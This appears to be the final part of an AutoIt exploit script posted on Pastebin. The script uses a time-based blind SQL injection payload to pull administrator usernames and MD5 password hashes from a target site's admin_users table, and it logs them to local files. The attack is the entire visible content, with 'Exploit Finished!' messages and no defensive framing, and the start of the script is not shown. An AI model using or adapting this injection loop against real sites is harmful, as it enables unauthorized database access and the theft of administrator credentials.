  1696. EndIf
  1697. $timer='';
  1698. $inethandle='';
  1699. $diftime='';
  1700.  
  1701. Next
  1702.  
  1703. ;//
  1704. EndIf
  1705.  
  1706.  
  1707.  
  1708. until $x=6
  1709.  
  1710. $USERNAMES_IN_ARRAY=StringSplit($USERNAMES,@CRLF,3);
  1711.  
  1712. ; debug ok _ArrayDisplay($USERNAMES_IN_ARRAY);
  1713.  
  1714. $y='';
  1715. for $i=0 to UBound($USERNAMES_IN_ARRAY) - 1
  1716. if Not $USERNAMES_IN_ARRAY[$i]='' Then
  1717. $y+=1;
  1718. ConsoleWrite($separator & '[#] Username' & $i & ' => [' & $USERNAMES_IN_ARRAY[$i] & '] [#]' & $separator)
  1719.  
  1720.  
  1721.  
  1722. EndIf
  1723.  
  1724. Next
  1725. $i='';
  1726.  
  1727. ConsoleWrite($separator & '* Total ' & $y & ' users *' & $separator)
  1728. $y='';
  1729.  
  1730.  
  1731. ConsoleWrite($separator & '[+] END OF USERNAME FETCHING. PREVIOUS RECORDS ARE COMPLETE USERNAMES [+]' & $separator)
  1732.  
  1733. ConsoleWrite($separator & '[+] GOING TO FETCH MD5 PASSWORDS. This may take few minutes too. Please wait... [+]' & $separator)
  1734.  
  1735.  
  1736. ;// debug ok! Exit //
  1737.  
  1738.  
  1739. MD5EDPASSWORD();//Yeah baby it's time to fetch MD5 passwords.//
  1740.  
  1741.  
  1742. EndFunc;=> getusername();
  1743.  
  1744.  
  1745.  
  1746. ;//Below:Get passwords Function.
  1747.  
  1748.  
  1749. Func MD5EDPASSWORD()
  1750. Local $stopat;
  1751. Local $md5hash;
  1752. $MD5HASHSTRINGS='';
  1753.  
  1754.  
  1755. if $true='vulnerable' Then
  1756.  
  1757. for $rt=0 To 6
  1758.  
  1759.  
  1760. if not $md5hash='' Then
  1761. $MD5HASHSTRINGS&=$md5hash & @CRLF
  1762.  
  1763. EndIf
  1764.  
  1765. $md5hash='';// we need reset obtained hash here if offset incremented.
  1766. $stopat+=1;
  1767.  
  1768.  
  1769. if $rt<6 And $stopat<=3072 Then
  1770. for $x=1 to 32 ;// because => strlen('MD5-ED-STRING')=32 . We need loop through it.
  1771.  
  1772.  
  1773. for $i=0 to UBound($array) - 2
  1774.  
  1775. $dynamicpayload="' or (select if(substr(Password," & $x & ",1)='" & $array[$i] & "',sleep(1),0) from admin_users limit 1 offset " & $rt & ")-- AND 5='5"
  1776.  
  1777. $doittime=TimerInit();
  1778. HttpSetUserAgent($useragent);
  1779. $trigger2=_INetGetSource($target & $dynamicpayload,TRUE)
  1780.  
  1781. $responcetime=TimerDiff($doittime);
  1782.  
  1783. if ($responcetime/$docalcavg) >=0.8 Then ;//Sleep()-ed. 99% chance that we got it!
  1784.  
  1785. $md5hash&=$array[$i]
  1786. $howmuchneeded=32-StringLen($md5hash);
  1787. if $howmuchneeded='0' then
  1788. $howmuchneeded=' *NONE* '
  1789. EndIf
  1790. $tolog=$separator & '[+] TRUE AT OFFSET [' & $rt & '] [+]' & @CRLF & 'Currently MD5 hash is : ' & $md5hash & @CRLF & 'Responce Time: ' & $responcetime & ' ms.' & @CRLF & 'Need to fetch other: [' & $howmuchneeded & '] symbol(s). ' & @CRLF & 'Logging to axa.txt... ' & $separator
  1791. ConsoleWrite($tolog);
  1792. FileWrite('axa.txt',$tolog);
  1793. $tolog='';
  1794. EndIf
  1795.  
  1796. Next
  1797.  
  1798.  
  1799. Next
  1800. EndIf
  1801. Next
  1802.  
  1803.  
  1804.  
  1805. ;// DISPLAYING PLUS SAVING TO MAINLOG.TXT
  1806. $MD5HASHSTRINGS_IN_ARRAY=StringSplit($MD5HASHSTRINGS,@CRLF,3);
  1807.  
  1808.  
  1809.  
  1810.  
  1811. for $i=0 To UBound($USERNAMES_IN_ARRAY) - 2
  1812.  
  1813. if Not $USERNAMES_IN_ARRAY[$i]='' and Not $MD5HASHSTRINGS_IN_ARRAY[$i]='' Then
  1814.  
  1815. $dd&=$separator & 'Username: [' & $USERNAMES_IN_ARRAY[$i] & '] MD5 HASH: [' & $MD5HASHSTRINGS_IN_ARRAY[$i] & ']' & $separator
  1816. EndIf
  1817.  
  1818.  
  1819. Next
  1820.  
  1821.  
  1822.  
  1823. ConsoleWrite($separator & $dd & $separator)
  1824.  
  1825. FileWrite(@ScriptDir & "\mainlog.txt",$separator & 'Target Site: ' & $host & @CRLF & $dd & @CRLF)
  1826. ConsoleWrite($separator & '[+] Usernames And MD5 passwords saved to : mainlog.txt [+]' & $separator)
  1827.  
  1828.  
  1829.  
  1830.  
  1831. for $i=0 to 2
  1832. Sleep(1000);
  1833. Beep(200,300);
  1834.  
  1835. Next
  1836.  
  1837.  
  1838. ConsoleWrite($separator & '[+] Exploit Finished!. GooD Luck;) [+]' & $separator)
  1839.  
  1840.  
  1841.  
  1842.  
  1843. ConsoleWrite('[+] Exit! [+]');
  1844. Exit;
  1845. EndIf
  1846. EndFunc;=> MD5EDPASSWORD();
  1847.  
  1848.  
  1849.  
  1850. #cs
  1851. #ce
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!